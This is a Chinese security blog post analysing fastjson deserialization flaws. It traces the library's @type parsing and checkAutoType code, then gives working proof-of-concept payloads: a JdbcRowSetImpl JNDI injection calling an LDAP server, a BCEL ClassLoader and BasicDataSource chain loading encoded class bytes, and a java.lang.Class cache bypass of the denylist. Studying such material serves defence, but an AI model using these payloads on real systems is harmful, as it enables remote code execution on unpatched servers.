freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

fastjson反序列化漏洞总结
小菜鸡xiaocaiji 2023-08-16 14:50:22 164079

漏洞介绍

FastJson是啊里巴巴的的开源库,用于对JSON格式的数据进行解析和打包。其实简单的来说就是处理json格式的数据的。例如将json转换成一个类。或者是将一个类转换成一段json数据。

需要的知识储备:

  • JNDI注入
  • Java反射

代码分析

fastjson使用方法

将需要反序列化的类放到parseObject方法的参数中。

String s = "{\"name\":\"haozai\",\"age\":\"12\"}";
Person p = JSON.parseObject(s,Person.class);
System.out.println(p);//Person{age=12, name='haozai'}

反序列化的时候自己指定将类型指定在字符串中,这样的话类型就客户端可控了,因此会出现危险。

String s1 = "{\"@type\":\"com.haozai.serialTest.bean.Person\",\"name\":\"haozai\",\"age\":\"12\"}";
JSONObject p = JSON.parseObject(s1);
System.out.println(p); //Person{age=12, name='haozai'}

调试核心查看核心代码

先看一张时序图

1692167531_64dc6d6ba7dec9e923930.png!small?1692167531823

由于fastjson源代码中有大量的分支,读起来很费劲,因此对于进不去的分支就不看了。并且,这里给大家推荐配合AI看代码效率翻倍哦。同时也给给点代审小建议,用面向对象的思想看代码,先看整体,在进入到函数看细节。不要直接进入函数内部看他做了什么,这样很容易蒙。

这里直接调试字符串中指定类型的情况。

JSON.parse()

public static JSONObject parseObject(String text) {
    //核心parse
    Object obj = parse(text);
    if (obj instanceof JSONObject) {
        return (JSONObject) obj;
    }

    return (JSONObject) JSON.toJSON(obj);
}

一路进入最后的parse函数

public static Object parse(String text, int features) {
    if (text == null) {
        return null;
    }

    //
    DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
    //返回来的value就是反序列化后的结果
     Object value = parser.parse();

    parser.handleResovleTask(value);

    parser.close();

    return value;
}

这是DefaultJSONParser的属性,这个类是把一些配置等信息放进去,主要的还是parse方法。

1692167597_64dc6dad5d2ab82a2ee5c.png!small?1692167597174

DefaultJSONParser.parse()方法

//lexer就是用于解析字符串,里面包括,我们传入的字符串的一些信息。
....
switch (lexer.token()) {
    case SET:
        lexer.nextToken();
        HashSet<Object> set = new HashSet<Object>();
        parseArray(set, fieldName);
        return set;
    case TREE_SET:
        lexer.nextToken();
        TreeSet<Object> treeSet = new TreeSet<Object>();
        parseArray(treeSet, fieldName);
        return treeSet;
    case LBRACKET:
        JSONArray array = new JSONArray();
        parseArray(array, fieldName);
        if (lexer.isEnabled(Feature.UseObjectArray)) {
            return array.toArray();
        }
        return array;
    case LBRACE:
        //一路来到这里,这里是解析字符串;LBRACE == "{"
        JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
        //这里返回的就是反序列化后的对象,因此进去看下具体情况
        return parseObject(object, fieldName);
.....

DefaultJSONParser.parseObject()

....
//前面各种解析,到这里解析到第一个key,就是我们输入的@type
if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
    String typeName = lexer.scanSymbol(symbolTable, '"');
    //这里的clazz就是Peson类,具体不细看了,就是把Person加载,如果需要在回来看
    Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());

    if (clazz == null) {
        //typeName == com.haozai.serialTest.bean.Person
        object.put(JSON.DEFAULT_TYPE_KEY, typeName);
        continue;
    }
    
....
//前面又是一顿解析,到这里,到这里这个函数就结束了
//这里获取到一个反序列器
ObjectDeserializer deserializer = config.getDeserializer(clazz);
//进行反序列化并且直接返回
return deserializer.deserialze(this, clazz, fieldName);

ParserConfig.getDeserializer()

先看如何生成反序列化器

//跳到getDeserializer()这个方法中
//上面一段操作这里,把这个当成序列化器
//clazz = Person.class   type = com.haozai.serialTest.bean.Person
derializer = createJavaBeanDeserializer(clazz, type);

ParserConfig.createJavaBeanDeserializer()

1692167672_64dc6df86373d1c407f08.png!small?1692167672345


到这里又有一个重要代码

//JavaBeanInfo里面是clazz的一些信息

JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, type, propertyNamingStrategy);

JavaBeanInfo.build()

1692167703_64dc6e1773a0d7d5c3d21.png!small?1692167703341

这里遍历了三次,但是为啥他要把method遍历两次呢。

1692167712_64dc6e20c2334667619b9.png!small?1692167712570

点进去可以看到,第一次的遍历是为了得到setter方法,并把相应的字段、方法存起来。

add(fieldList, new FieldInfo(propertyName, method, field, clazz, type, ordinal, serialzeFeatures, parserFeatures,
                             annotation, fieldAnnotation, null));

1692167730_64dc6e32bb827bee2b90a.png!small?1692167730711

1692167735_64dc6e37190a65bc6f150.png!small?1692167734846

遍历第二次方法的时候

//满足if的条件才会被add进去
//就是返回值类型要是这几个类型
//就是获取getxxx
if (Collection.class.isAssignableFrom(method.getReturnType()) //
    || Map.class.isAssignableFrom(method.getReturnType()) //
    || AtomicBoolean.class == method.getReturnType() //
    || AtomicInteger.class == method.getReturnType() //
    || AtomicLong.class == method.getReturnType() //
) {
    String propertyName;

    JSONField annotation = method.getAnnotation(JSONField.class);
    if (annotation != null && annotation.deserialize()) {
        continue;
    }
    
    if (annotation != null && annotation.name().length() > 0) {
        propertyName = annotation.name();
    } else {
        propertyName = Character.toLowerCase(methodName.charAt(3)) + methodName.substring(4);
    }
    
    FieldInfo fieldInfo = getField(fieldList, propertyName);
    if (fieldInfo != null) {
        continue;
    }

    if (propertyNamingStrategy != null) {
        propertyName = propertyNamingStrategy.translate(propertyName);
    }
    
    add(fieldList, new FieldInfo(propertyName, method, null, clazz, type, 0, 0, 0, annotation, null, null));
}

通过测试发现,即使要反序列化的类中没有相应的属性,但是有getxxx或setxxx,在add的时候也会把xxx添加到属性列表。

Person类

1692167761_64dc6e51ef9fa74ef630f.png!small?1692167761847

1692167766_64dc6e5636ecb8f0668bd.png!small?1692167766146


ParserConfig.getDeserializer()

现在跳出JavaBeanInfo.build()方法,回到getDeserializer()

//在这里把asmEnable设置为false,只有get方法没有set
//beanInfo就是我们刚刚JavaBeanInfo的信息,
//上面代码显示
for (FieldInfo fieldInfo : beanInfo.fields) {
    if (fieldInfo.getOnly) {
        asmEnable = false;
        break;
    }

在上面的代码中,我们知道只有满足一些条件getXXX的XXX才会被加入到fields中,这样我们才能让asmEnable设置为false

满足:

  • 返回值是其中下面类型的其中一个
  • 只能由getxxx方法(满足getOnly)
//满足if的条件才会被add进去
//就是返回值类型要是这几个类型
//就是获取getxxx
if (Collection.class.isAssignableFrom(method.getReturnType()) //
    || Map.class.isAssignableFrom(method.getReturnType()) //
    || AtomicBoolean.class == method.getReturnType() //
    || AtomicInteger.class == method.getReturnType() //
    || AtomicLong.class == method.getReturnType() //

最后执行完毕获取反序列化器

1692167810_64dc6e82497730e9e2674.png!small?1692167810101

ObjectDeserializer.deserialze()

下面就是最后一步,真正的进行反序列化deserialze

1692167831_64dc6e9772dbd24fcb26f.png!small?1692167831398

在这里遍历字段,给字段赋值,那么要不用反射硬改,要不调用set方法修改。

1692167862_64dc6eb61d191f6308ee1.png!small?1692167861984

可以看到调用setValue了。这里应该就是赋值了。

1692167871_64dc6ebf3df3b3695403b.png!small?1692167871133

setXXX就是利用点了。

1692167879_64dc6ec7dcd17a62fb0f9.png!small?1692167879717


1692167882_64dc6eca980a5a6aef26e.png!small?1692167882409

总结

反序列化的时候利用的条件

1、类中的任意setxxx方法

2、若是getxxx方法,返回值满足要求(见上面代码分析),并且是getOnly

3、要想使用getxxx,保证代码能够执行到序列化的地方,苦难较大。

我们可以写一个类进行测试

package com.haozai.serialTest.bean;

import java.io.Serializable;
import java.util.HashMap;
import java.util.Map;

/**
 * @author jackliu  Email:
 * @description: 测试类
 * @Version
 * @create 2023-08-01 15:59
 */
public class Person implements Serializable {

    private Integer age;

   private String name;

   private Map test;


    public Map getTest() {
        System.out.println("getTest");
        return new HashMap();
    }

    public Person(Integer age, String name) {
        this.age = age;
        this.name = name;
    }

    public Person() {
    }

    public Integer getAge() {
        System.out.println("getAge");
        return age;
    }

    public void setAge(Integer age) {
        System.out.println("setAge");

        this.age = age;
    }

    public String getName() {
        System.out.println("getName");

        return name;
    }

    public void setName(String name) {
        System.out.println("setName");

        this.name = name;
    }

    @Override
    public String toString() {
        return "Person{" +
                "age=" + age +
                ", name='" + name + '\'' +
                '}';
    }
}

main

String s1 = "{\"@type\":\"com.haozai.serialTest.bean.Person\",\"name\":\"haozai\",\"age\":\"12\",\"test\":{}}";

JSONObject jsonObject = JSON.parseObject(s1);

分析下,会调用哪些方法?

1692167943_64dc6f0731c2c61b4070d.png!small?1692167942919

直接疑惑?看了一下原来是调用了序列化的操作,我们打断点重新看下。不让他序列化。

1692167957_64dc6f1558d9b76e022ab.png!small?1692167957137


这才是我们期待的结果。

1692167973_64dc6f253c5b4e787338c.png!small?1692167973043


利用方式

使用JdbcRowSetImpl

利用条件:

  • fastjson<=1.24
  • 目标出网
  • jdk版本符合JNDI注入条件

相较于原生反序列化,fastjson反序列化并不需要对类实现Serializable。

入口

1692168001_64dc6f416d8426085814d.png!small?1692168001518

使用了lookup,并且参数可控,符合JDNI的注入条件,下面只需要进行简单的构造。

查找谁使用了connect()

1692168009_64dc6f49ca2b27c036a19.png!small?1692168009589

public void setAutoCommit(boolean autoCommit) throws SQLException {
    // The connection object should be there
    // in order to commit the connection handle on or off.

    if(conn != null) {
       conn.setAutoCommit(autoCommit);
    } else {
       // Coming here means the connection object is null.
       // So generate a connection handle internally, since
       // a JdbcRowSet is always connected to a db, it is fine
       // to get a handle to the connection.

       // Get hold of a connection handle
       // and change the autcommit as passesd.
       conn = connect();

       // After setting the below the conn.getAutoCommit()
       // should return the same value.
       conn.setAutoCommit(autoCommit);

    }

方法名称符合setxxx,可以执行。

构造POC

只需要把DataSourceName 设置为开启JNDI服务的恶意类地址,给autoCommit随便设置一个Boolean值。

使用Yakit工具开启一个JNDI服务

1692168032_64dc6f60754552b59cb3c.png!small?1692168032491



package com.haozai.serialTest.fastjson;

import com.alibaba.fastjson.JSON;
import com.sun.rowset.JdbcRowSetImpl;


/**
 * @author jackliu  Email:
 * @description: FastJson链
 * @Version
 * @create 2023-08-10 9:39
 */
public class FastJsonTest {

    public static void main(String[] args) {
   
        String s = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
                "\"DataSourceName\":\"ldap://192.168.56.1:8085/wHFbkouV\"," +
                "\"autoCommit\":false}";
        JSON.parseObject(s);
    }
}

1692168052_64dc6f74d361b0ce847b7.png!small?1692168053040


不出网com.sun.org.apache.bcel.internal.util.ClassLoader

利用条件:

  • fastjson<=1.24
  • Jdk<= 8u251

Java 8u251以后,BCEL这个安全人员的好伙伴就此离家出走了。

入口

protected Class loadClass(String class_name, boolean resolve) throws ClassNotFoundException {
    Class cl = null;
    if ((cl = (Class)this.classes.get(class_name)) == null) {
        for(int i = 0; i < this.ignored_packages.length; ++i) {
            if (class_name.startsWith(this.ignored_packages[i])) {
                cl = this.deferTo.loadClass(class_name);
                break;
            }
        }

        if (cl == null) {
            JavaClass clazz = null;
            if (class_name.indexOf("$$BCEL$$") >= 0) {
                //这个条件进来,clazz不为空
                //根据传入的class_name创建一个类,这个类就是我们读取的class文件
                //中的Test类
                clazz = this.createClass(class_name);
            } else {
                if ((clazz = this.repository.loadClass(class_name)) == null) {
                    throw new ClassNotFoundException(class_name);
                }

                clazz = this.modifyClass(clazz);
            }
            
            //clazz不能为空
            if (clazz != null) {
                byte[] bytes = clazz.getBytes();
                //执行到这里就可以了
                cl = this.defineClass(class_name, bytes, 0, bytes.length);
            } else {
                cl = Class.forName(class_name);
            }
        }

在createClass这里对class_name进行了加密,因此构造参数的时候也需要先加密

1692168102_64dc6fa664e8d4b24472c.png!small?1692168102247

此时我们就可以先尝试利用一下了

部分利用代码

package com.haozai.serialTest.fastjson;

import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import org.apache.tomcat.dbcp.dbcp.BasicDataSource;

import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.util.Arrays;

/**
 * @author jackliu  Email:
 * @description: 利用loadClass类进行任意代码执行
 * @Version
 * @create 2023-08-15 16:36
 */
public class FastJsonByLoadClass {
    /**
     * 在Java 8u251以后,BCEL这个安全人员的好伙伴就此离家出走了,不知道何时会归来。
     * 所以,之后测试fastjson反序列化,记得这里有个坑。
     * @param args
     */

    public static void main(String[] args) throws Exception {

        ClassLoader classLoader = new ClassLoader();

        byte[] evalByte = getByteFromFile();
//        System.out.println(Arrays.toString(evalByte));

        //createClass的时候会decode,在这里encode
        String code = Utility.encode(evalByte, true);
//
        classLoader.loadClass("$$BCEL$$"+code).newInstance(); //弹窗

//        BasicDataSource();

    }

    public static byte[] getByteFromFile() throws Exception {
        String EvalPath="G:\\FlFile\\Test.class";

        File file = new File(EvalPath);

        FileInputStream fis = new FileInputStream(file);

        byte[] b = new byte[(int) (file.length())];
        int read = fis.read(b, 0, (int) (file.length()));
        return b;
    }

}

现在入口类,找到了,那我们要继续往下找,找到使用了setXXX的方法,调用classLoader.loadClass的,这里可以使用如下工具

<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-dbcp</artifactId>
    <version>7.0.47</version>
</dependency>

tomcat-dbcp 包是 Apache Tomcat 中的一个组件,它提供了连接池功能,用于管理数据库连接。这个组件的全名是 "Apache Tomcat DBCP",其中 DBCP 表示 "Database Connection Pool",即数据库连接池。

数据库连接池是一种管理数据库连接的技术,它可以在应用程序启动时创建一些数据库连接,并将这些连接保存在一个池中。当应用程序需要与数据库交互时,它可以从连接池中获取一个空闲的数据库连接,使用完毕后将连接返回到池中,以便其他部分的应用程序可以继续使用。这种方式可以有效地管理数据库连接,减少了频繁地创建和关闭数据库连接所带来的开销。

tomcat-dbcp 组件是 Apache Tomcat 内置的连接池实现,它提供了一种可靠的方式来管理应用程序与数据库之间的连接。通过添加上述的 Maven 依赖,您可以将 tomcat-dbcp 集成到您的项目中,从而轻松地使用数据库连接池功能。

Class.forName 方法第一个参数可以接受一个类的全限定名或者一个字节码的 byte 数组作为参数。如果您传递字节码的 byte 数组,那么 Class.forName 实际上会通过反射和动态类加载的方式,将这个字节码加载为一个新的类。

在这种情况下,您不直接使用 defineClass 方法,而是将加载类的责任交给了 Class.forName 方法。内部实现会使用默认的类加载器加载这个新定义的类,并在 JVM 中创建相应的类对象。这样,您可以在运行时动态加载和使用新的类,而无需自己管理类加载器和字节码转换等细节。

Class.forName的 第二个参数是初始化标志,为true的时候会进行初始化,这样的话就能执行静态代码块了。

Class.forName 方法的第三个参数是用来指定使用的类加载器。当您传递第三个参数时,Class.forName 将使用指定的类加载器来加载和初始化目标类。

一般情况下,如果不传递第三个参数,Class.forName 将使用调用方所在的类的类加载器(通常是当前线程上下文类加载器)。但是,通过传递一个自定义的类加载器,您可以控制类的加载过程,例如从不同的位置加载类或者根据需要进行特殊的类加载逻辑。

1692168188_64dc6ffc1592b5bcf5d3c.png!small?1692168188080

有了上面的知识,我们只需要把classLoader传入com.sun.org.apache.bcel.internal.util.ClassLoader,driverClassName传入字节码的byte数组,在执行classForName的时候,会执行ClassLoader.loadClass 方法。

并且driverClassName和driverClassLoader都有自己的get/set方法。

最终找到了三处地方使用调用了这个方法

1692168197_64dc700546a13fd1069af.png!small?1692168197405


为了方便起见,先尝试利用setLogWriter方法

public static void main(String[] args)throws Exception {

        ClassLoader classLoader = new ClassLoader();

        byte[] evalByte = getByteFromFile();
//        System.out.println(Arrays.toString(evalByte));

        //createClass的时候会decode,在这里encode
        String code = Utility.encode(evalByte, true);

        String evcodes = "$$BCEL$$"+code;
//
//        classLoader.loadClass("$$BCEL$$"+code).newInstance();
        String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp.BasicDataSource\"," +
                "\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}," +
                "\"driverClassName\":\""+evcodes+"\",\"LogWriter\":{\"@type\":\"java.io.PrintWriter\"}}";

        System.out.println(s);

        JSON.parseObject(s);        

但是这里报错,没找到java.io.PrintWriter的默认构造器,因为在这个类中没有空参构造器,但是我们知道在使用parseObject的是也会执行toJson,在执行toJson的时候会调用getxxx方法,只要前面不出错,结果表明,前面确实可以不出错,因为前面只是赋值,并没有实质性的调用。

因此主要略微修改一下

String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp.BasicDataSource\"," +
                "\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}," +
                "\"driverClassName\":\""+evcodes+"\"}"

1692168229_64dc70250b107b8956c7a.png!small?1692168229241

fastjson<=1.27 绕过

在fastjson1.2.25已经对加载类有限制了,再次使用上面的payload打,发现已经失效了。

1692168249_64dc703946afc6e03bd00.png!small?1692168249120

在这个类中添加了checkAutoType方法。下面分析一下checkAutoType

1692168262_64dc7046e906d02d33717.png!small?1692168262858

checkAutoType

//白名单从配置文件加载,默认为空

/**
 * 检查自动类型匹配并加载类的方法。
 *
 * @param typeName    类型名,表示要加载的类的名称。
 * @param expectClass 预期的类,用于检查类型匹配。
 * @return 加载的类,如果匹配成功;否则返回null或抛出异常。
 */
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
    // 如果类型名为空,直接返回null。
    if (typeName == null) {
        return null;
    }

    // 将类型名中的'$'替换为'.',以符合Java类名的规范。
    final String className = typeName.replace('$', '.');

    // 根据autoTypeSupport标志或者预期的类来决定下一步的处理。
    if (autoTypeSupport || expectClass != null) {
        // 遍历接受列表,查找匹配项。
        for (int i = 0; i < acceptList.length; ++i) {
            String accept = acceptList[i];
            // 如果类型名以接受列表中的某个项开头,加载并返回对应类。
            if (className.startsWith(accept)) {
                return TypeUtils.loadClass(typeName, defaultClassLoader);
            }
        }

        // 遍历拒绝列表,查找匹配项。
        for (int i = 0; i < denyList.length; ++i) {
            String deny = denyList[i];
            // 如果类型名以拒绝列表中的某个项开头,抛出异常。
            if (className.startsWith(deny)) {
                throw new JSONException("不支持自动类型转换。" + typeName);
            }
        }
    }

    // 尝试从类型映射中找到对应的类。
    Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
    if (clazz == null) {
        // 如果在映射中未找到,尝试使用反序列化器查找类。
        clazz = deserializers.findClass(typeName);
    }

    if (clazz != null) {
        // 如果提供了预期类,并且预期类无法从加载的类进行赋值转换,抛出异常。
        if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
            throw new JSONException("类型不匹配。" + typeName + " -> " + expectClass.getName());
        }
        return clazz;
    }

    // 如果禁用了自动类型支持,再次检查拒绝列表并返回匹配项。
    if (!autoTypeSupport) {
        for (int i = 0; i < denyList.length; ++i) {
            String deny = denyList[i];
            if (className.startsWith(deny)) {
                throw new JSONException("不支持自动类型转换。" + typeName);
            }
        }
        // 再次遍历接受列表,加载并返回匹配项。
        for (int i = 0; i < acceptList.length; ++i) {
            String accept = acceptList[i];
            if (className.startsWith(accept)) {
                clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
                // 如果提供了预期类,并且预期类无法从加载的类进行赋值转换,抛出异常。
                if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                    throw new JSONException("类型不匹配。" + typeName + " -> " + expectClass.getName());
                }
                return clazz;
            }
        }
    }

    // 如果启用了自动类型支持或提供了预期类,加载并处理类。
    if (autoTypeSupport || expectClass != null) {
        clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
    }

    if (clazz != null) {
        // 检查是否为危险类(如ClassLoader或DataSource)。
        if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
            throw new JSONException("不支持自动类型转换。" + typeName);
        }

        // 如果提供了预期类,检查是否能从加载的类进行赋值转换。
        if (expectClass != null) {
            if (expectClass.isAssignableFrom(clazz)) {
                return clazz;
            } else {
                throw new JSONException("类型不匹配。" + typeName + " -> " + expectClass.getName());
            }
        }
    }

    // 如果未启用自动类型支持,抛出异常。
    if (!autoTypeSupport) {
        throw new JSONException("不支持自动类型转换。" + typeName);
    }

    // 返回加载的类。
    return clazz;
}

1692168288_64dc7060b2c70eaf91140.png!small?1692168288583


绕过方式:从缓存中加载类的信息就绕过了黑白名单。

1692168296_64dc706894bf30365a7c4.png!small?1692168296381

缓存存在mappings中,查找哪里执行了put方法。

1692168306_64dc707245d124fe3a84b.png!small?1692168306070


查找哪里使用了loadClass

找这个可以利用

1692168321_64dc7081f19702cd791ec.png!small?1692168321761

MiscCodes

MiscCodes类是反序列化器,

1692168340_64dc7094e55996313486b.png!small?1692168340656


1692168343_64dc7097f0a6476776508.png!small?1692168343783

//下面这段代码是在deserialze中执行的,从上部分的代码分析,
//我们知道deserialze是执行反序列化的最后一步。
//先获取反序列化器,用反序列化器反序列化。
//那么,如果指定@type是java.lang.Class,就会到下面的语句
//但是有一个问题,我们怎么知道使用的是这个反序列化器呢?
if (clazz == Class.class) {
    return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}

查找MiscCodes的使用情况

1692168362_64dc70aa7f7e957620698.png!small?1692168362411

在ParserConfig中把Class类的的反序列化器放入了缓存,因此我们传入的Class类型会直接得到MiscCodes反序列化器进行反序列化。

//黑名单,并没有java.lang.Class,因此我们可以执行到
private String[]      
denyList        = 
"bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,
java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,
org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,
org.apache.commons.collections4.comparators,org.apache.commons.fileupload,
org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,
org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,
org.python.core,org.springframework".split(",");

可以顺利执行到这里,这里获得MiscCodes

1692168380_64dc70bcafff880033335.png!small?1692168380452

调试MiscCodes

1692168386_64dc70c24823719bff65a.png!small?1692168386047

1692168391_64dc70c7773d9ee8d1fa8.png!small?1692168391332

保证字符串是val

val的值就是解析的对象

1692168399_64dc70cfdf161b0438948.png!small?1692168399923

在这里把val的值赋值给了strVal

1692168407_64dc70d763d4f0aeb170a.png!small?1692168407459

在这里loadClass(val的值)

1692168434_64dc70f2ae5ff3f7bb81a.png!small?1692168434448

进入loadClass,在这里把我们指定的类put进了缓存中,这样就和上面对上了。

1692168443_64dc70fbee53e238d0f31.png!small?1692168443899

下面直接构造代码

通过分析我们知道,只需要在使用恶意类前,先把它放到缓存即可。

完整代码

package com.haozai.serialTest.fastjson;

import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.classfile.Utility;

import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;

/**
 * @author jackliu  Email:
 * @description: 高版本绕过
 * @Version
 * @create 2023-08-16 10:29
 */
public class FastJsonHigherVersion {

    public static void main(String[] args) throws Exception {

        byte[] evalByte = getByteFromFile();
//        System.out.println(Arrays.toString(evalByte));

        //createClass的时候会decode,在这里encode
        String code = Utility.encode(evalByte, true);

        String evcodes = "$$BCEL$$"+code;

        //序列化Class类,值为恶意类,2用之前的paylaod

        String s = "{" +
                "{\"@type\":\"java.lang.Class\",\"val\":\"org.apache.tomcat.dbcp.dbcp.BasicDataSource\"}," +
                "{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}," +
                "{\"@type\":\"org.apache.tomcat.dbcp.dbcp.BasicDataSource\"," +
                "\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}," +
                "\"driverClassName\":\""+evcodes+"\"}" +
                "}";
        //System.out.println(s);
        //Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. com.sun.org.apache.bcel.internal.util.ClassLoader
        //JSON.parse(s);

        String s1 = "{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
                "\"DataSourceName\":\"ldap://192.168.56.1:8085/pQRxdIWm\"," +
                "\"autoCommit\":false}}";

        JSON.parse(s1);//弹窗





    }
    public static byte[] getByteFromFile() throws Exception {
        String EvalPath="G:\\FlFile\\Test.class";

        File file = new File(EvalPath);

        FileInputStream fis = new FileInputStream(file);

        byte[] b = new byte[(int) (file.length())];
        int read = fis.read(b, 0, (int) (file.length()));
        return b;

    }




}
# 漏洞 # web安全 # 漏洞分析 # java反序列化 # 反序列化漏洞
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 小菜鸡xiaocaiji 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
小菜鸡xiaocaiji LV.2
这家伙太懒了,还未填写个人描述!
  • 2 文章数
  • 1 关注者
Java反序列化CC链的汇总
2023-08-06
文章目录